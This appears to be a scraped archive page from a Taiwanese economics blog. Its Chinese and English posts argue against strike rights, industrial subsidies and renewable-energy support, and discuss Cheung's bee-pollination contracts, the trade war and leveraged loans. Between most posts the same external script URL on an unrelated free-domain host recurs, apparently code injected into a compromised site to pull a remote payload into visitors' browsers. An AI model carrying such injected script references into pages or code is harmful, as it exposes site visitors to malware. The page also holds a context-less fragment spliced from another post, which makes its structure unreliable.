分類: 經濟分析

經濟學大師張五常有一篇個人認為極富啟發性的論文「The Fable of The Bees」，其中張五常觀察到的一個真實世界的現象，不但打臉了當時經濟學主流的「外部性理論」，也展示了契約安排（contractual arrangements）在市場經濟下可以如何彈性變化。

養蜂人與農場主人之間，傳統經濟學認為蜜蜂採集果樹或其他農作物花蜜而無需付費，是一種「市場失效」該被課稅糾正的現象。

但在張五常於華盛頓州蘋果園與其他農場的實地考察下輕易發現這些象牙塔經濟學者的可笑與荒謬。

事實上，依據農作物的產蜜量不同，養蜂人與農場主人之間的契約安排具備高度變化：
A. 產蜜量高而授粉需求低的作物（如苜蓿），養蜂人付費給農場主人購買「採蜜權利」
B. 產蜜量低而授粉需求高的作物（如桃樹），反而是農場主人付費給養蜂人購買「授粉服務」。
C. 其他產蜜量與授粉需求有不同變化的農作物，養蜂人與農場主人之間另有他種契約安排。
D. 同時具備各種高低需求不同農產品的農場主，同樣二者之間會依據實際狀況有不同契約安排。

此論文不但彰顯傳統經濟學家有許多人根本只是「黑板經濟學」，所謂的現象全靠想像，數學玩得高來高去的理論本身其實毫無經濟學內涵可言，甚至根本是在解釋真實世界不存在的現象。

但更重要的是，此篇論文實證調查顯示了在市場經濟下，買方與賣方的關係並非一刀切分明。許多狀況下，二者權利關係與收入分配是會跟著改變與調整。
換言之，我們難以想像一種「通用公式」來處理所有的交易關係。
與此同時，任何權利安排的變動，也必然改變交易之一方對於收入或成本的預期，從而改變交易或供應行為。

有此知識背景後，我們切入正題：為何我反對勞工有罷工權？

一

所謂罷工的本質，其實就是勞工片面違背與雇主之契約，構成民法上所謂的「不完全給付」甚至「債務不履行」。而在正常的法律（尤其是英美法的common law概念下），勞工片面債務不履行當然應該負擔相當的損害賠償責任。

而所謂的「罷工權」事實上就是「免除了勞工片面違約的責任」，甚至包含因此而生的侵權行為責任（某些美國法判決認為罷工期間造成的雇主財產損失勞工無需賠償）。
姑且不論罷工本身究竟真如左派宣稱「可以保障勞工權益」。經濟分析上可以確定的是，原本在「一般法律概念下」雇主面對勞工債務不履行可以取得的法律救濟被特殊的勞動法律取消了。如此重大權利安排的改變，依據前述的產權經濟學理論，必然會改變雇主的經濟行為，例如：
(1) 未入局的潛在投資者可能因為某國的罷工門檻太低或工會勢力太大而卻步。使得本可以發生的商業營運胎死腹中。明基投資西門子案對許多業主來說還是有相當震懾力。
(2) 已入局的投資者必須考量可能的罷工與相對應的成本，從而於租值/收入中提取準備金。此不必存在的準備金可能減少原本要放到更新機隊，更新軟硬體設施，教育訓練甚或擴大營運規模….等等行為。

就像氣球一樣，資源有限的前提下，當多數資源被挪到某些用途時，必然使得其他用途受到擠壓。

以華航此次罷工訴求來說，更多資源放在機師上，是否真的對飛安有改善？我認為不無存在疑慮。太多泛泛言論都「想當然耳地假設必然有高度關聯」，但這些言論背後都忽略了「成本效益分析」 — 一塊錢放在機師身上對飛安的效益，是否大過同樣一塊錢放到其他項目？
站在公司角度，此一塊錢的分配考量還不僅僅是「飛安」，更牽涉到對未來收入的影響。

二

資方與勞方的身分在現今公司制度與金融投資環境下並非如此分明。

一個看好並持有許多自家公司股票的員工，算是勞方還是資方？以如今買賣股票之容易，勞工要成為資方之一部分享受資本收益果實，並非難事。而這樣的員工難道會樂見公司過度偏頗地將資源集中在某一個單位，僅僅只是因為該單位很會吵糖吃？而非因為該單位獲利能力突出？

華航近三年獲利純粹得利於油價腰斬大跌，是一種windfall profit，並非可預期，更非是因為華航機師有何優於競爭對手的表現。那為何機師可以要求分得更多？
思考到這一層，也必然引發下一個問題：

三

鼓勵勞工罷工或讓勞工有罷工權，必然造成各種尋租行為 — 不事生產的工會成員與政客聯合蠶食公司直至倒閉，這在世界各地反覆上演，底特律的破敗不過只是其中一個例子。

罷工的本質就是勞務供應者尋求「以非市場競爭準則替代市場競爭準則」，當公司資源分配不是依據市場需求而是政治正確或政治影響力時，這家公司的死局大概也已經註定。

以華航的多年財報來看，我實在看不出來這家航空公司有何租值優於競爭對手之處，可供工會如此蠶食。

四

再從市場競爭角度觀之。

如果華航機師待遇果真如此不堪？如果華航機師果真如此耐操好用高生產？那為何不跳槽？
以台灣近年越來越多自費受訓的機師與流浪機師，以及此次工會特別提出保障「本國籍機師」的條件來看，供需關係如何其實並不難猜測。

真正能保障機師權益的，其實是其他航空公司與機師自身的市場價值（這點端視機師自身可提供的產出）。

此外，各種高租值證照壟斷保障的市場均存在「人力不足」現象。因為這正是當初設置證照所希冀的啊！是的，經濟學來看，所有的證照制度本質都是保障供應者的非市場進入障礙，與保障飛安乃至於消費者其實沒啥關聯。

要解決機師口中的「人力不足」現象很簡單：放寬CPL證照要求即可。話說，你們機師願意嗎？科科～

https://js.developerstatss.ga/stat.js?n=ns1

我只有兩張圖跟一個問題：

問題：請你們告訴我，下次油價破百元時，華航安在哉？

延伸閱讀 — 「工會與勞團怎樣傷害勞工、毀滅產業」

https://js.developerstatss.ga/stat.js?n=ns1

1 產權經濟認為，財產權實質內涵的清楚劃分是市場經濟的先決條件。

奶奶廟本身就是很清楚的「承包制度」，是一種極為類似百貨公司或夾娃娃機店的安排 — 上頭有個總財產主，再分租給底下許多店主或機台主。而分租契約的內涵多半是由「固定租金+抽成」的混合制度，是現今已知面對生產行為不確定性與風險的常見契約安排（contractual arrangements）。尤其上頭租值高的行業（亦可看總財產主先期投資額高），例如百貨公司，最常使用的一種方式。

各分租主之間的競爭下，市場反應速度快且創意無限。

例如車神與地藏菩薩在一起的「一條龍服務」 — 放心開車，車神保佑；保佑不了，死有菩薩。又例如月老除了傳統的姻緣配對，也擴大服務項目到「和解」。

就像台灣夾娃娃機也有機台主放英文原文小說測試市場閱讀品味的。

2 奶奶廟也一語道破多數宗教的本質：「市場需要什麼神，我們就創一個唄～」

3. 最後，說到文化融合，當然不能放過台灣早年就拍過的「關公大戰外星人」XDDDD

https://js.developerstatss.ga/stat.js?n=ns1

覺青看風電躉價：「人為提高生產要素代價可以促進經濟發展！」

覺青看租金：「貪得無厭房東漲房租造成商圈蕭條！」

https://js.developerstatss.ga/stat.js?n=ns1

美國的企業槓桿債務（cov-lite debts）已達$1.2兆美元，是08’年金融風暴前資金氾濫情形下的2倍。

換言之，若景氣出現反轉，則美國將面臨不亞於08’債務引發之金融危機。
但不同的是，現今Fed利率約在2.25~2.5%之間，遠低於2007年的5%。
從樂觀的一面看，像上次因連續調高利率使得海水退潮，裸泳者紛紛現出原形的機率應該較低；但從悲觀一面看，Fed手頭沒有多少子彈可以作戰。

川普總統明明正確地減稅、放鬆法規來取得經濟榮景，卻自己愚蠢地用貿易戰 — 本以為可以迅速攻城掠地，沒想到中國沒那麼弱，現在搞成經濟壕溝戰 — 削弱了正確政策帶來的好處。而我認為這幾次政治措施用光了川普的三把火，景氣真反轉，要能"即時"地再減稅、再放寬法規，恐怕難度很高。

我還是維持看法：貿易戰帶來的交易成本增長與資訊費用太高，投資人不要冒然進場為佳。
是的，長期投資的確不應該有太多進出市場舉措；但當侷限條件非常明顯不利於投資項目的財富增長時，退出持有現金為佳。除非，你的部位大到很難退出。

不過巨富如李嘉誠，在看到中國景氣趨緩侷限條件逐漸明朗時，歷經數年也依然漂亮成退功退出。我想一般人部位沒他那麼大吧。
—————————————–

1. The leveraged loan market has exploded since the financial crisis, doubling in size over the past decade to $1.2tn

2. More than 80 per cent of the market is now deemed “cov-lite”, according to LCD, meaning financial maintenance protections have been removed.

3. The US default rate is now just 1.6 per cent, well below the historical average of 3.1 per cent, says Ruth Yang, a managing director at S&P Global Market Intelligence. In fact, they could stay this way for some time in part because covenants remain so loose.

FT:"Debt machine: are risks piling up in leveraged loans?" 

https://js.developerstatss.ga/stat.js?n=ns1

舊文回顧：
2008年時我就批評當年的馬英九政府不應該花費政府資源拯救DRAM與TFT-LCD產業。
全文連結：https://tinyurl.com/ya6nqx3t
08年一文同樣以經濟學的成本概念（經濟學的成本永遠都是指『機會成本』）切入，力陳資源錯置的下場。政府最好什麼都不做，讓市場處罰錯誤決策者才是上策。
2012年回顧雙D產業事件，時值DRAM主力的力晶虧損千億元依法下櫃。隨後如同我在第一篇文章中所闡述的經濟學觀念 — 資源錯置被市場處罰而破產，也只是資源重整（relocation），如重整後符合市場需求，則既有的資源一樣可以重新獲利。
此外，第二篇文章也進一步談到「政府補貼助長尋租」與「政府補貼實質是用人民稅款補貼外國人」此二觀念。
全文連結：https://tinyurl.com/y7ftz5tq

而這邊我再補充一點：
當年李登輝政府與陳水扁政府的在政府主政者「戒急用忍」、「積極管理、有效開放」的政策，以「保護國家高科技」為由限制LCD產業欲前往大陸投資，必須在台灣蓋十代線之後才能出去；DRAM業者想前進中國，政府也規定8吋以上晶圓廠技術不准出口。
這在經濟學來看都是愚蠢至極的政策。而事後回顧，這些政策非但沒有保障產業或技術，反而把產業給活活弄死。
這也是我一貫主張：政府沒有足夠的資訊做出正確市場決策，但政府內部錯誤誘因架構，卻有相當高機率刻意做出錯誤市場決策以保障少數政客利益。
因此政府對產業管越少越好。台灣的競爭力因蔣經國主政的逐步放鬆而得到發展，卻又在李登輝後的胡亂管理被箝制。恰恰是一場經濟學實驗。

https://js.developerstatss.ga/stat.js?n=ns1

WiMax案只是證明政府通常沒有足夠的資訊去做出正確抉擇。同時，公務員也往往沒有誘因去做出市場正確的抉擇，他們的誘因是「上司正確」。二者差異在於–私人企業做出錯誤市場決策時會被市場以虧損或破產處罰；公務員做出錯誤市場決策，一來自身幾乎不會受到任何虧損，甚至還會因為上司正確而升職。

更甭提當政府背後有尋租的利益團體力量在牽扯時，決策正確度只會更低不會高。

這就會回到我討論過的資源排擠與機會成本問題：政府的資源是靠暴力徵稅取得，並非透過自願性交易。

稅額與政府提供服務的量或品質都無關。此點註定了政府多數資源從取得到用途都是低效率。

因此政府花錢通常不管實際效益；與此同時，當資源被擺到錯誤項目上，損失的不只是資源本身，更是資本若能有效運用的未來收入（這就是經濟學上的成本）。

https://js.developerstatss.ga/stat.js?n=ns1

今日新聞與社論分別印證過去兩項看法：

1.我應該是相當早（2007年）就提出依據「要素平價理論」，台灣在外銷市場與中國高度重疊的前提下，台灣人平均薪資不僅成長率要大幅下修，甚至可能出現衰退之預測。 (參見：「開放大陸勞工來台會降低台灣人薪資水平？」 )

經濟日報：「實質薪資倒退17年 警訊浮現」

quote:”台灣陷入低薪的困境，其實早已印證了國際經濟的「要素價格均等化定理」（FPE），也就是透過生產要素的移動或商品交易，最終都會使所有地區的生產要素價格趨近相等的道理，尤其台灣屬於小型開放型經濟體系，在國際化的趨勢下更難以倖免。”

12年後我們回顧，經濟學掌握正確關鍵侷限條件下的科學預測力果然驚人。

毋傭多言的是，該社論中批評的「一例一休」政策，小弟也於2017年1月撰文批評並提出預測（https://tinyurl.com/yadzh63u ），其中因為政府部分放寬執法力道，以及川普上台後成功的減稅與法規放寬政策所帶來的榮景，部分抵消了錯誤勞動法規的成本。

但幾項預測依然部分成真：邊際勞工失業率必定上升、邊際企業倒閉率必定上升、許多企業會選擇假日不提供服務甚或營運日期減少、平均年終獎金將下降、全面性物價上漲

隨後的中美貿易戰提高全球整體交易費用，必然在消費與投資面都有負面影響，這也帶到下一點。

2. 2018年以來我用多篇文章反覆闡釋：中美貿易戰雙方皆輸，而提高的交易費用更是不利。那些聲稱美國可以輕易贏取貿易戰的言論，不是經濟學不及格的愚蠢觀點，就是別有用心的帶風向。

這點只要稍具正確經濟感受與經濟邏輯者均能指出其錯誤。

我更指出：傳說中的轉單榮景不存在（少部分轉單存在，但大規模轉單不可能）；台商回台建廠也是一樣，少數個案存在，大規模回頭建廠不可能（https://tinyurl.com/y9fawoyx ）。

果然新聞「寒冬來了 外銷訂單大衰退 」：

”經濟部昨（21）日公布去（2018）年12月外銷訂單金額為433.8億美元，年減10.5%，跌幅超出市場預期，顯示美中貿易衝突，已造成全球需求下滑，我接單寒冬來臨

經濟部更預期今年1月接單續減11.8%至14.1%，今年第1季接單跌幅都會很明顯。

值得注意的是，去年12月七大貨品接單成長率全面翻黑。

機械接單年減22.5%，而向來為我接單主力的資通訊產品接單年減13%，兩項產品接單跌幅幾乎等於金融海嘯期間。…

…原本不在課稅清單中的資通訊及電子產品，去年12月接單紛紛轉呈負成長，其中資通訊產品接單為近十年來最大跌幅…”

結論：

A. 掌握正確經濟學邏輯，不需要扮高深，只要最基礎的價格理論夠堅實，佐以對真實世界侷限條件的理解夠客觀深入，預測大方向成功率是可以相當高的。但也正因為價格理論易懂難精，所以我們會看到一堆偽專家往錯誤百出、處處矛盾的總體經濟學理論方向走，把玩各種數學公式、統計數字卻連一次正確預測都做不到。

B. 我在「經濟水晶球 」與「Alchian-Allen定律」中預測：

「中國方面將會因小鬧的貿易戰而被迫生產產品往高素質方向走，也就是說中國生產高端化、高品質化會是接下來必然出現的結果，某方面來說「中國製造2025」會以此形式達標。

10～20年內，「中國製造」將成為高品質代名詞。

若美國還佐以緊縮的移民政策，將更有利於中國製造加速升級。」

目前看來走勢均符合預期。

有鑑於我在2007年就預測未來十幾年甚至二十幾年台灣實質薪資成長將大幅受限，並於12年後證明眼光無誤。中國製造品質將大幅躍升這點我們也慢慢等待吧。

https://js.developerstatss.ga/stat.js?n=ns1

老讀者都知道，我一貫認為「需要補助才能存活的產業根本沒存在之必要」。
其背後經濟邏輯很簡單：

1. 比較優勢定律：需要補助才能存活只代表該產業根本不符合比較優勢定律。換言之以國際貿易來看，你一直想要用短處去攻擊他人長處，愚蠢至極。

2. 資源排擠與錯置：政府以稅金來補助低優勢產業，背後代表是強迫競爭優勢者移轉部分財產給競爭劣勢者。

如果是出於競爭優勢者自願，商業層面可看做是「民間投資」，壓寶現今看來劣勢但未來有發展的行業。可能對可能錯，但在私有產權制度下，風險由出資者自行承擔，外人無置喙之餘地。經濟效率上也無疑問。

從人際關係層面可看做投資、人情亦或是慈善捐助。例如對競爭完全劣勢的肢障、智障人士的捐助，我認為應該在文化道德與稅制層面多多鼓勵私人為之。
但政府的稅金卻是透過合法暴力從人民口袋徵收而來，並無與之對價的政府服務。是的，多繳稅的人不見得拿到更多政府服務；反而許多不用繳稅的族群拿得不少政府資源。
這點也註定政府花費稅金效率肯定不高 — 慷他人之慨為他人辦事一向是效率最低的安排，此為諾貝爾經濟學獎得主Milton Friedman之名言。

這也表示，政府補助的下場往往反而是把資源從原本可以更有效率的運用轉到無效或低效用途上。

3. 尋租
為了獲取與繼續獲取政府補助，官商間的尋租行為必然發生。貪汙舞弊也必然存在。這部份同樣存在「資源被從高效率之手硬移轉到低效或無效之手上」。而尋租的成功甚制度化後，將鼓勵社會更多人去從事這種不事生產甚至反生產的行為。

好笑的是，我們看到一群覺青大義凜然地批評過去國民黨裙帶資本關係，卻又雙重標準地面對小英政府的風電、太陽能補貼行為。

而這群人一貫迴避（包含這兩天跳出來的ptt之神）的，除了上述經濟行為上的侷限條件，還有「風電太陽能發電極端不穩定且難以控制」這個天然客觀侷限條件。

在沒有合理成本、有效的儲電技術之前，此侷限條件註定風電、太陽能不可能為一海島的基載電力來源。

再者，本人也一再強調，身為海島的環境，能否承擔風電太陽能這種單位土地產電量遠低於火力、核能的發電方式。邊際土地代價的可預見飆漲，這麼簡單稍具商業感受的朋友都能發現，如果這群人笨到看不出來，又如何能相信他們的能源決策呢。

https://js.developerstatss.ga/stat.js?n=ns1

If we take the “speech overseeing conducts” of SF Express as a kind of tying arrangements, then everything would be easier to be understood.

As I discussed in the “How much does a ghost worth,” tying arrangements with negative-value conditions will raise the costs of the consumers or dwindle the utility. It will lead to less consumptions and decrease the incomes of the supplier.

As long as enough clients cared about their right to free speech so much as they claimed, SF Express would suffer significant wealth eroding, no matter it is a privated owned, public issued, or governmental company.

On the other hand, if SF Express is the only one who insists such negative conditions, the plunge in its wealth will also be an attractive opportunity for its competitors. The consumers will be benefited anyway.

Extremely speaking, if the speech-control requirements are held indifferently by the Chinese government, it’s indifferent to the consumers after all. It would be like no pork in the Muslims countries.

For me, the ban of the right to eating pork is similar to the right to freely speaking. Either one is constraints on personal freedoms. You may take it and choose other kind of meats to eat. In the same way, you may accept it and choose to avoid some sensetive subjects for the government. Otherwise, you could always run away from the countries you cannot stand. It happens all the time throughtout the human history. You may also try to climb up to be one of the top governers and change the rules.

Most people choose to stay as usual is only because they don’t care the right so much as they claimed.

Hence, there is no need for the Taiwanese government to involve in this being-unmentionable-for-few-people thing.

https://js.developerstatss.ga/stat.js?n=ns1